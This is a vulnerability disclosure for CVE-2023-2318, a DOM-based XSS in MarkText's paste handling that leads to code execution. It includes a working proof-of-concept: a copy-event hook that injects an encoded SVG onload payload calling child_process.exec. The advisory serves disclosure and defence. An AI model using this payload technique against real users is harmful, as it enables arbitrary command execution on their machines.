Headline
CVE-2023-2318: Security Issue: DOM-Based XSS leading to RCE · Issue #3618 · marktext/marktext
DOM-based XSS in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 and before on Windows, Linux and macOS allows arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.
Summary:
There is a DOM-based XSS in MarkText allowing arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.
Vulnerability Details:
When the user performs paste operations, MarkText will check the clipboard data and try to convert HTML tags into the equivalent Markdown format, and then generate HTML again for markdown preview.
Specifically, when the user copies a link from a webpage and paste it into MarkText, the <a> tag will be processed by the following code in src/muya/lib/contentState/pasteCtrl.js:
const links = Array.from(tempWrapper.querySelectorAll(‘a’)) for (const link of links) { const href = link.getAttribute(‘href’) const text = link.textContent // [1] if (URL_REG.test(href) && href === text) { const title = await getPageTitle(href) if (title) { link.innerHTML = sanitize(title, PREVIEW_DOMPURIFY_CONFIG, true) } else { const span = document.createElement(‘span’) // [2] span.innerHTML = text // [3] link.replaceWith(span) } } }
This code iterates over all the <a> tags. For each tag, if its href attribute is the same as its textContent, MarkText will try to fetch the URL and extract title from the response, then assign to innerHTML after sanitization.
However, if the title cannot be found, MarkText will create a <span> element at [2] and assign textContent of the original <a> tag to innerHTML at [3] without any sanitization, which results in DOM-based XSS.
This should affect all platforms since MarkText is built on Electron. Tested on:
- MarkText 0.17.1 for Windows
- MarkText 0.17.1 for Linux
Proof-of-Concept:
An attacker can craft a malicious webpage and hook on the copy event with the following code:
<script> document.addEventListener('copy’,e=>{ e.preventDefault(); let payload = '’; if(navigator.platform === ‘Win32’) { payload = decodeURIComponent(atob(‘JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTIyJTNFaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTNDJTJGYSUzRSk=’)); } else { payload = decodeURIComponent(atob(‘JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW1kdWIyMWxMV05oYkdOMWJHRjBiM0lnTFdVZ0owMWhjbXRVWlhoMElGSkRSU0JRYjBNbklpayUzRCcpKSUyNiUyM3gzZSUzQiUyMiUzRWh0dHAlM0ElMkYlMkYxJTNBMSUyRiUyMyUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gzZSUzQiUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gyMCUzQm9ubG9hZCUzRGV2YWwoYXRvYignY21WeGRXbHlaU2dpWTJocGJHUmZjSEp2WTJWemN5SXBMbVY0WldNb0ltZHViMjFsTFdOaGJHTjFiR0YwYjNJZ0xXVWdKMDFoY210VVpYaDBJRkpEUlNCUWIwTW5JaWslM0QnKSklMjYlMjN4M2UlM0IlM0MlMkZhJTNFKQ==’)) } e.clipboardData.setData('text/html’, payload + window.getSelection()); }) </script>
The base64-encoded part in the PoC is decoded to the following content:
require(“child_process”).exec(“gnome-calculator -e 'MarkText RCE PoC’”)
When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into MarkText. This PoC will run system command notepad on Windows, or gnome-calculator on Linux.
Here are GIFs demonstrating the PoC on Windows and Ubuntu:
A live version of the PoC can be found here.
Suggested Mitigations:
It is recommended to sanitize untrusted data before assigning it to innerHTML.
For end users who are using the versions affected by this vulnerability, it is suggested to avoid copying text from an untrusted webpage then paste it into MarkText.
Credits:
Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Vulnerability Disclosure:
As STAR Labs is a CVE Numbering Authority (CNA), the following CVE identifiers are reserved by STAR Labs to track the vulnerabilities presented in this report:
- CVE-2023-2318
DOM-Based Cross-site Scripting (XSS) in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 allows attackers to run arbitrary JavaScript code and execute system commands by convincing the victim to copy text from a crafted webpage and paste it into MarkText.
STAR Labs requests that MarkText use the above reserved CVE identifiers when referencing the vulnerabilities presented in this report instead of requesting for new CVE identifiers (e.g. via MITRE or GitHub Security Advisory) to prevent having duplicate CVE records.